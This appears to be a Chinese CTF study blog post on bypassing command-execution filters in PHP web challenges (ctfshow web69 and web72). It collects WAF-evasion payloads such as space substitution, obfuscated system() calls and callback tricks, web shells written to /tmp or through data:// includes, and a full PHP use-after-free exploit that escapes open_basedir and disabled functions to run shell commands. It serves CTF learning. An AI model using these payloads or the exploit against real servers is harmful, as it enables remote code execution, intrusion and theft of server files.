命令执行
空格过滤
shell命令
1.%09,制表符绕过空格
cat%09flag.txt
2.%0a,换行符绕过空格
cat%0aflag.txt
3.%0d,回车符绕过空格
cat%0dflag.txt
4.%0b,垂直制表符绕过空格
cat%0bflag.txt
5.%0c,换页符绕过空格
cat%0cflag.txt
bash
1.花括号
{cat,/flag0.txt},涉及特性
2.赋值
IFS=;cat$IFS/flag0.txt,涉及变量
特殊
1.通配
cat${IFS}flag.txt
2.字符串拼接
system过滤
1.system('cat flag.txt'); 被过滤
2.exec('cat flag.txt', \(out); 输出在\)out中
3.shell_exec('cat flag.txt'); 返回命令输出
4.passthru('cat flag.txt'); 直接输出原始结果
5.popen('cat flag.txt', 'r'); 返回文件指针
6.proc_open(); 更复杂的进程控制
7.cat flag.txt; 反引号,shell_exec的别名
字符拼接
1.点号拼接
(sy.(st).em)('cat flag.txt');
2.变量拼接
$a = 'sy';
$b = 'st';
$c = 'em';
$d = $a.$b.$c;
$d('cat flag.txt');
字符反转
部分waf是顺序检测,可以反转字符来绕过
system 反转是 metsys
$f = strrev('metsys');
$f('cat flag.txt');
字符截取
先出长数据,再从中截取构造命令
$str = 'abcdefghijklmnopqrstuvwxyz';
$f = $str[18].$str[24].$str[18].$str[19].$str[4].$str[12];
$f('cat flag.txt');
这里拼接的是system
字符替换
把 secret 中的 ecret 替换成 ystem
$f = str_replace('est', 'ystem', 'secret'); // 得到 system
$f('cat flag.txt');
编码绕过
这个就是将被过滤的函数用base64/unicode/......去编码然后传入
比如给一个自定义编码:
function decode($s) {
$out = '';
for($i=0;$i<strlen($s);$i+=2) {
$out .= chr(hexdec($s[$i].$s[$i+1]));
}
return $out;
}
$f = decode('73797374656d');
$f('cat flag.txt');
回调函数和数组运用
1.回调函数
// call_user_func
call_user_func('system', 'cat flag.txt');
// call_user_func_array
call_user_func_array('system', ['cat flag.txt']);
// array_map
array_map('system', ['cat flag.txt']);
// array_walk
array_walk(['cat flag.txt'], 'system');
2.动态函数
// call_user_func
call_user_func('system', 'cat flag.txt');
// call_user_func_array
call_user_func_array('system', ['cat flag.txt']);
// array_map
array_map('system', ['cat flag.txt']);
// array_walk
array_walk(['cat flag.txt'], 'system');
3.函数指针
// 把system赋值给另一个变量 $a = 'system'; $a('cat flag.txt');
这个跟前面的赋值差不多,原理相同
内置函数利用
1. get_defined_functions
// 获取所有函数
$funcs = get_defined_functions()['internal'];
// 找system的索引
foreach($funcs as $k=>$v) {
if($v == 'system') {
$idx = $k;
break;
}
}
// 直接调用
$funcs[$idx]('cat flag.txt');
2.函数名
// 用正则匹配system函数
$funcs = get_defined_functions()['internal'];
$filtered = preg_grep('/^system$/', $funcs);
$filtered[0]('cat flag.txt');
文件操作
1.远程文件包含(前提allow_url_include=On)
include 'php://filter/convert.base64-decode/resource=data://plaintext,PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs';
2.临时文件
// 写一个临时php文件,包含system调用
file_put_contents('/tmp/exec.php', '<?php system($_GET[1]);');
include '/tmp/exec.php';
$_GET[1] = 'cat flag.txt';
cat过滤
more:一页一页的显示档案内容
less:与 more 类似。但在用 more 时候可能不能向上翻页,不能向上搜索指定字符串,而 less 却可以自由的向上向下翻页,也可以自由的向上向下搜索指定字符串。
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:命令的作用和 cat -n 类似,是将文件内容全部显示在屏幕上,并且是从第一行开始显示,同时会自动打印出行号。
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容。可以利用报错将文件内容带出来(-f<名称文件> 指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称。)
这个取自csdn的zsxmryu师傅
命令分隔符
顺序执行
| 符号 | 名称 | 示例 | 说明 |
|---|---|---|---|
| ; | 分号 | cat /flag.txt; whoami | 先执行第一条,再执行第二条 |
| \n | 换行符 | cat /flag.txt\nwhoami | 在某些环境等同分号 |
| & | 后台执行符 | cat /flag.txt & whoami | 第一条放后台,第二条立即执行 |
条件执行
| 符号 | 名称 | 示例 | 说明 |
|---|---|---|---|
| && | 逻辑与 | cat /flag.txt && whoami | 第一条成功才执行第二条 |
| 逻辑或 | cat /flag.txt | whoami | 第一条失败才执行第二条 |
| 管道符 | cat /flag.txt | grep flag | 第一条的输出作为第二条的输入 |
由于||生成表格,故逻辑或->||,管道符->|
命令替换
| 符号 | 名称 | 示例 | 说明 |
|---|---|---|---|
|
反引号 | cat \ls`` | 先执行ls,结果作为cat的参数 |
| $() | 美元括号 | cat $(ls) | 同上,更现代,可嵌套 |
特殊变量与环境
$()表示命令替换
${}表示变量引用
$?表示退出状态
读取
纯背,web禁用函数突破基本都是show_source()
后面换var_dump()和var_export()
目录
//查看根目录
c=var_dump(scandir('/'));
c=var_export(scandir('/'));
c=print_r(scandir('/'));
c=var_export(scandir('glob:///*'));
//查看当前目录
c=print_r(scandir(dirname('__FILE__')));
在后面70还是71题存在将所查询的替换为?
翻阅它的index.php知道是先执行查询再执行替换
可以在查询代码后添加exit(),最后出结果的添加die()
文件读取
file_get_contents()
highlight_file()
show_source()
fgets()
file()
readfile()
fopen()
不常见的还有:
| 函数 | 说明 | 示例 |
|---|---|---|
| fgetc() | 读取单个字符 | \(c = fgetc(\)fp); |
| fgetss() | 读取一行并过滤HTML/PHP标签(PHP 7.3+ 弃用) | \(line = fgetss(\)fp); |
| fscanf() | 按格式从文件中读取 | fscanf($fp, "%s", $str); |
| fpassthru() | 输出文件指针处的所有剩余数据 | fpassthru($fp); |
| fread() | 读取指定字节数 | \(data = fread(\)fp, 1024); |
| fseek() + ftell() + rewind() | 定位读取 | 组合使用 |
| parse_ini_file() | 读取并解析ini配置文件 | $ini = parse_ini_file('config.ini'); |
| parse_ini_string() | 解析ini字符串 | 同上 |
| gzfile() | 读取压缩文件到数组 | $lines = gzfile('file.gz'); |
| gzread() | 读取gzip压缩文件 | 同 fread() 但用于压缩文件 |
文件包含
跟之前写的一样,通过包含输出
例如
c=include('flag.php');echo $flag;
示例
c=echo file_get_contents('flag.php');
c=echo highlight_file('flag.php');
c=highlight_file("flag.php");
c=show_source('flag.php');
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
题目
web69

可以看到禁用了highlight_file()
前面ban掉了var_dump
想到使用var_export
思路:
现目录->读取(如果出现flag文件)/读取根目录->读取
现目录尝试的flag.php但是虚假的
输入var_export(scandir('/'));

发现flag.txt
因为各种函数被ban,换文件包含来写
即c=include('/flag.txt');

得到flag
像post题还有逃课的做法
连接蚁剑
同一题

这种方案能适用于post类题目且不ban目录读取权限情况下
web72
这道题不仅限制了各种函数,最恶心一点就是开了open_basedir
使得目录读取存在限制,也就开不了蚁剑
这里需要了解到glob://伪协议读取
通过c=var_export(scandir('glob:///*'));exit();获得根目录

难点就在于怎么能绕过路径限制情况下读取文件
搜索wp得到uaf漏洞脚本(好多别人有用我却用不了)
?><?php
function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
?>
将这个进行url编码后,接入c=即可得flag
参考这位大佬的https://chuna2.787528.xyz/LLeaves/p/13210005.html
介绍了这方面的知识
我写完这道题就一直在想能不能软协议绕过得flag
等找个时间试一下

浙公网安备 33010602011771号